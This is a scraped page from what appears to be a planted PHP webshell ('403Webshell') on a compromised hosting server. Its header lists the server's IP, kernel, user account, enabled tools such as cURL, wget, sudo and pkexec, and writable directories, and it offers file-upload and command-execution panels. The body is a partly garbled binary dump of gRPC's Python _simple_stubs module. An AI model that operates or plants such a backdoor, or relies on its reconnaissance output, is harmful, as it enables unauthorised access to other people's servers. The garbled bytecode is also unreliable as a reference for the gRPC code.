403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/grpc/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :

[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/grpc/_simple_stubs.pyc
a

K��f"`�@s6dZddlZddlZddlZddlZddlZddlmZmZm	Z	m
Z
mZmZm
Z
mZmZmZddlZddlmZed�Zed�Ze
eeefZeeeeejeejfZe�e�ZdZeejvr�ej e!eje�d�Z"e�#d	e"�nej d
d�Z"dZ$e$ejv�r e%eje$�Z&e�#d
e&�ndZ&dZ'e'ejv�rPe!eje'�Z(e�#de(�ndZ(ee
eeefeejeejej)d�dd�Z*Gdd�d�Z+edddddddde(ddfeeeee	ege,fee	e,gefe
eeefeeje-eej.eejee-ee!ee
eeeee,ffee-ed�dd��Z/edddddddde(ddfeeeee	ege,fee	e,gefe
eeefeeje-eej.eejee-ee!ee
eeeee,ffee-eed�dd��Z0edddddddde(ddfeeeeee	ege,fee	e,gefe
eeefeeje-eej.eejee-ee!ee
eeeee,ffee-ed�dd ��Z1edddddddde(ddfeeeeee	ege,fee	e,gefe
eeefeeje-eej.eejee-ee!ee
eeeee,ffee-eed�d!d"��Z2dS)#z<Functions that obviate explicit stubs and explicit channels.�N)
�Any�AnyStr�Callable�Dict�Iterator�Optional�Sequence�Tuple�TypeVar�Union)�experimental_api�RequestType�ResponseType�,GRPC_PYTHON_MANAGED_CHANNEL_EVICTION_SECONDS)�secondsz-Setting managed channel eviction period to %s�
)�minutes�#GRPC_PYTHON_MANAGED_CHANNEL_MAXIMUMz&Setting maximum managed channels to %d��#GRPC_PYTHON_DEFAULT_TIMEOUT_SECONDSz%Setting default timeout seconds to %fgN@)�target�options�channel_credentials�compression�returncCs6t�d|�d�d|�d|�d��tj||||d�S)Nz*Creating secure channel with credentials 'z', z	options 'z' and compression '�')�credentialsrr)�_LOGGER�debug�grpc�secure_channel)rrrr�r!�v/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/grpc/_simple_stubs.py�_create_channelLs
���r#c@s�eZdZUdZe��Zejed<ejed�Z	ejed<e�
�Zej
ed<ee
eejejffed<ejed<dd	�Zed
d��Ze
d�d
d�Zedd��Zeeeeefeejeeejeeeejeefd�dd�Zed�dd�Z dS)�ChannelCacheN�_lock)�lock�
_condition�_eviction_ready�_mapping�_eviction_threadcCs*t��|_tjtjdd�|_|j��dS)NT)r�daemon)	�collections�OrderedDictr)�	threading�Threadr$�_perform_evictionsr*�start��selfr!r!r"�__init__hs

�zChannelCache.__init__cCsHtj�"tjdurt�t_Wd�n1s.0Ytj��tjS�N)r$r%�
_singletonr(�waitr!r!r!r"�getos

&
zChannelCache.get)�keycCs,|j�|�\}}t�d||�|��~dS)Nz*Evicting channel %s with configuration %s.)r)�poprr�close)r3r9�channel�_r!r!r"�
_evict_lockedws�zChannelCache._evict_lockedcCs�tj��tj��tjjs&tj��n�ttjj�t	krXt
ttjj����}tj�
|�ndt
ttjj����\}\}}tj��}||kr�tj�
|�Wd�qn||��}tjj|d�Wd�q1s�0YqdS)N)�timeout)r$r%r(�setr6r)r'r7�len�_MAXIMUM_CHANNELS�next�iter�keysr>�items�datetime�now�
total_seconds)r9r=�
eviction_timerH�time_to_evictionr!r!r"r0s 
�
zChannelCache._perform_evictions)rrr�insecurer�method�_registered_methodrcCsP|r|rtd��|r tj��}n|dur:t�d�t��}||||f}|j��|j�	|d�}	d}
|	dur�|	d}|r~|�
|�}
|j�|�|tj�
�tf|j|<||
fWd�St||||�}|r�|�
|�}
|tj�
�tf|j|<t|j�dk�st|j�tk�r|j��||
fWd�SWd�n1�sB0YdS)a�Get a channel from cache or creates a new channel.

        This method also takes care of register method for channel,
          which means we'll register a new call handle if we're calling a
          non-registered method for an existing channel.

        Returns:
            A tuple with two items. The first item is the channel, second item is
              the call handle if the method is registered, None if it's not registered.
        zkThe insecure option is mutually exclusive with the channel_credentials option. Please use one or the other.Nz&Defaulting to SSL channel credentials.r�)�
ValueErrorr�experimental�insecure_channel_credentialsrr�ssl_channel_credentialsr%r)r8�_get_registered_call_handler:rGrH�_EVICTION_PERIODr#rArBr'�notify)r3rrrrLrrMrNr9�channel_data�call_handler<r!r!r"�get_channel�sJ��

�
�
�
��
zChannelCache.get_channel)rcCs4|j�t|j�Wd�S1s&0YdSr5)r%rAr)r2r!r!r"�_test_only_channel_count�sz%ChannelCache._test_only_channel_count)!�__name__�
__module__�__qualname__r6r.�RLockr%�__annotations__�	Conditionr'�Eventr(r�CacheKeyr	r�ChannelrGr/r4�staticmethodr8r>r0�strrr�ChannelCredentials�bool�Compression�intrYrZr!r!r!r"r$^s,



�Br$r!F)�requestrrM�request_serializer�response_deserializerrrrL�call_credentialsr�wait_for_readyr?�metadatarNrc	CsPt���|||||	||
�\}}|�||||�}|
dur:|
nd}
||||
||d�S)a�
Invokes a unary-unary RPC without an explicitly specified channel.

    THIS IS AN EXPERIMENTAL API.

    This is backed by a per-process cache of channels. Channels are evicted
    from the cache after a fixed period by a background. Channels will also be
    evicted if more than a configured maximum accumulate.

    The default eviction period is 10 minutes. One may set the environment
    variable "GRPC_PYTHON_MANAGED_CHANNEL_EVICTION_SECONDS" to configure this.

    The default maximum number of channels is 256. One may set the
    environment variable "GRPC_PYTHON_MANAGED_CHANNEL_MAXIMUM" to configure
    this.

    Args:
      request: An iterator that yields request values for the RPC.
      target: The server address.
      method: The name of the RPC method.
      request_serializer: Optional :term:`serializer` for serializing the request
        message. Request goes unserialized in case None is passed.
      response_deserializer: Optional :term:`deserializer` for deserializing the response
        message. Response goes undeserialized in case None is passed.
      options: An optional list of key-value pairs (:term:`channel_arguments` in gRPC Core
        runtime) to configure the channel.
      channel_credentials: A credential applied to the whole channel, e.g. the
        return value of grpc.ssl_channel_credentials() or
        grpc.insecure_channel_credentials().
      insecure: If True, specifies channel_credentials as
        :term:`grpc.insecure_channel_credentials()`. This option is mutually
        exclusive with the `channel_credentials` option.
      call_credentials: A call credential applied to each call individually,
        e.g. the output of grpc.metadata_call_credentials() or
        grpc.access_token_call_credentials().
      compression: An optional value indicating the compression method to be
        used over the lifetime of the channel, e.g. grpc.Compression.Gzip.
      wait_for_ready: An optional flag indicating whether the RPC should fail
        immediately if the connection is not ready at the time the RPC is
        invoked, or if it should wait until the connection to the server
        becomes ready. When using this option, the user will likely also want
        to set a timeout. Defaults to True.
      timeout: An optional duration of time in seconds to allow for the RPC,
        after which an exception will be raised. If timeout is unspecified,
        defaults to a timeout controlled by the
        GRPC_PYTHON_DEFAULT_TIMEOUT_SECONDS environment variable. If that is
        unset, defaults to 60 seconds. Supply a value of None to indicate that
        no timeout should be enforced.
      metadata: Optional metadata to send to the server.

    Returns:
      The response to the RPC.
    NT�rornrr?)r$r8rY�unary_unary�rjrrMrkrlrrrLrmrrnr?rorNr<�
method_handle�
multicallabler!r!r"rq�s(F�	��rqc	CsPt���|||||	||
�\}}|�||||�}|
dur:|
nd}
||||
||d�S)a�
Invokes a unary-stream RPC without an explicitly specified channel.

    THIS IS AN EXPERIMENTAL API.

    This is backed by a per-process cache of channels. Channels are evicted
    from the cache after a fixed period by a background. Channels will also be
    evicted if more than a configured maximum accumulate.

    The default eviction period is 10 minutes. One may set the environment
    variable "GRPC_PYTHON_MANAGED_CHANNEL_EVICTION_SECONDS" to configure this.

    The default maximum number of channels is 256. One may set the
    environment variable "GRPC_PYTHON_MANAGED_CHANNEL_MAXIMUM" to configure
    this.

    Args:
      request: An iterator that yields request values for the RPC.
      target: The server address.
      method: The name of the RPC method.
      request_serializer: Optional :term:`serializer` for serializing the request
        message. Request goes unserialized in case None is passed.
      response_deserializer: Optional :term:`deserializer` for deserializing the response
        message. Response goes undeserialized in case None is passed.
      options: An optional list of key-value pairs (:term:`channel_arguments` in gRPC Core
        runtime) to configure the channel.
      channel_credentials: A credential applied to the whole channel, e.g. the
        return value of grpc.ssl_channel_credentials().
      insecure: If True, specifies channel_credentials as
        :term:`grpc.insecure_channel_credentials()`. This option is mutually
        exclusive with the `channel_credentials` option.
      call_credentials: A call credential applied to each call individually,
        e.g. the output of grpc.metadata_call_credentials() or
        grpc.access_token_call_credentials().
      compression: An optional value indicating the compression method to be
        used over the lifetime of the channel, e.g. grpc.Compression.Gzip.
      wait_for_ready: An optional flag indicating whether the RPC should fail
        immediately if the connection is not ready at the time the RPC is
        invoked, or if it should wait until the connection to the server
        becomes ready. When using this option, the user will likely also want
        to set a timeout. Defaults to True.
      timeout: An optional duration of time in seconds to allow for the RPC,
        after which an exception will be raised. If timeout is unspecified,
        defaults to a timeout controlled by the
        GRPC_PYTHON_DEFAULT_TIMEOUT_SECONDS environment variable. If that is
        unset, defaults to 60 seconds. Supply a value of None to indicate that
        no timeout should be enforced.
      metadata: Optional metadata to send to the server.

    Returns:
      An iterator of responses.
    NTrp)r$r8rY�unary_streamrrr!r!r"ru>s(E�	��ru)�request_iteratorrrMrkrlrrrLrmrrnr?rorNrc	CsPt���|||||	||
�\}}|�||||�}|
dur:|
nd}
||||
||d�S)a�
Invokes a stream-unary RPC without an explicitly specified channel.

    THIS IS AN EXPERIMENTAL API.

    This is backed by a per-process cache of channels. Channels are evicted
    from the cache after a fixed period by a background. Channels will also be
    evicted if more than a configured maximum accumulate.

    The default eviction period is 10 minutes. One may set the environment
    variable "GRPC_PYTHON_MANAGED_CHANNEL_EVICTION_SECONDS" to configure this.

    The default maximum number of channels is 256. One may set the
    environment variable "GRPC_PYTHON_MANAGED_CHANNEL_MAXIMUM" to configure
    this.

    Args:
      request_iterator: An iterator that yields request values for the RPC.
      target: The server address.
      method: The name of the RPC method.
      request_serializer: Optional :term:`serializer` for serializing the request
        message. Request goes unserialized in case None is passed.
      response_deserializer: Optional :term:`deserializer` for deserializing the response
        message. Response goes undeserialized in case None is passed.
      options: An optional list of key-value pairs (:term:`channel_arguments` in gRPC Core
        runtime) to configure the channel.
      channel_credentials: A credential applied to the whole channel, e.g. the
        return value of grpc.ssl_channel_credentials().
      call_credentials: A call credential applied to each call individually,
        e.g. the output of grpc.metadata_call_credentials() or
        grpc.access_token_call_credentials().
      insecure: If True, specifies channel_credentials as
        :term:`grpc.insecure_channel_credentials()`. This option is mutually
        exclusive with the `channel_credentials` option.
      compression: An optional value indicating the compression method to be
        used over the lifetime of the channel, e.g. grpc.Compression.Gzip.
      wait_for_ready: An optional flag indicating whether the RPC should fail
        immediately if the connection is not ready at the time the RPC is
        invoked, or if it should wait until the connection to the server
        becomes ready. When using this option, the user will likely also want
        to set a timeout. Defaults to True.
      timeout: An optional duration of time in seconds to allow for the RPC,
        after which an exception will be raised. If timeout is unspecified,
        defaults to a timeout controlled by the
        GRPC_PYTHON_DEFAULT_TIMEOUT_SECONDS environment variable. If that is
        unset, defaults to 60 seconds. Supply a value of None to indicate that
        no timeout should be enforced.
      metadata: Optional metadata to send to the server.

    Returns:
      The response to the RPC.
    NTrp)r$r8rY�stream_unary�rvrrMrkrlrrrLrmrrnr?rorNr<rsrtr!r!r"rw�s(E�	��rwc	CsPt���|||||	||
�\}}|�||||�}|
dur:|
nd}
||||
||d�S)a�
Invokes a stream-stream RPC without an explicitly specified channel.

    THIS IS AN EXPERIMENTAL API.

    This is backed by a per-process cache of channels. Channels are evicted
    from the cache after a fixed period by a background. Channels will also be
    evicted if more than a configured maximum accumulate.

    The default eviction period is 10 minutes. One may set the environment
    variable "GRPC_PYTHON_MANAGED_CHANNEL_EVICTION_SECONDS" to configure this.

    The default maximum number of channels is 256. One may set the
    environment variable "GRPC_PYTHON_MANAGED_CHANNEL_MAXIMUM" to configure
    this.

    Args:
      request_iterator: An iterator that yields request values for the RPC.
      target: The server address.
      method: The name of the RPC method.
      request_serializer: Optional :term:`serializer` for serializing the request
        message. Request goes unserialized in case None is passed.
      response_deserializer: Optional :term:`deserializer` for deserializing the response
        message. Response goes undeserialized in case None is passed.
      options: An optional list of key-value pairs (:term:`channel_arguments` in gRPC Core
        runtime) to configure the channel.
      channel_credentials: A credential applied to the whole channel, e.g. the
        return value of grpc.ssl_channel_credentials().
      call_credentials: A call credential applied to each call individually,
        e.g. the output of grpc.metadata_call_credentials() or
        grpc.access_token_call_credentials().
      insecure: If True, specifies channel_credentials as
        :term:`grpc.insecure_channel_credentials()`. This option is mutually
        exclusive with the `channel_credentials` option.
      compression: An optional value indicating the compression method to be
        used over the lifetime of the channel, e.g. grpc.Compression.Gzip.
      wait_for_ready: An optional flag indicating whether the RPC should fail
        immediately if the connection is not ready at the time the RPC is
        invoked, or if it should wait until the connection to the server
        becomes ready. When using this option, the user will likely also want
        to set a timeout. Defaults to True.
      timeout: An optional duration of time in seconds to allow for the RPC,
        after which an exception will be raised. If timeout is unspecified,
        defaults to a timeout controlled by the
        GRPC_PYTHON_DEFAULT_TIMEOUT_SECONDS environment variable. If that is
        unset, defaults to 60 seconds. Supply a value of None to indicate that
        no timeout should be enforced.
      metadata: Optional metadata to send to the server.

    Returns:
      An iterator of responses.
    NTrp)r$r8rY�
stream_streamrxr!r!r"ry�s(E�	��ry)3�__doc__r,rG�logging�osr.�typingrrrrrrrr	r
rr�grpc.experimentalrr
rre�OptionsTyperfrhrb�	getLoggerr[r�_EVICTION_PERIOD_KEY�environ�	timedelta�floatrUr�_MAXIMUM_CHANNELS_KEYrirB�_DEFAULT_TIMEOUT_KEY�_DEFAULT_TIMEOUTrcr#r$�bytesrg�CallCredentialsrqrurwryr!r!r!r"�<module>sD0
��

�����Z��Y��Y��

Youez - 2016 - github.com/yon3zu
LinuXploit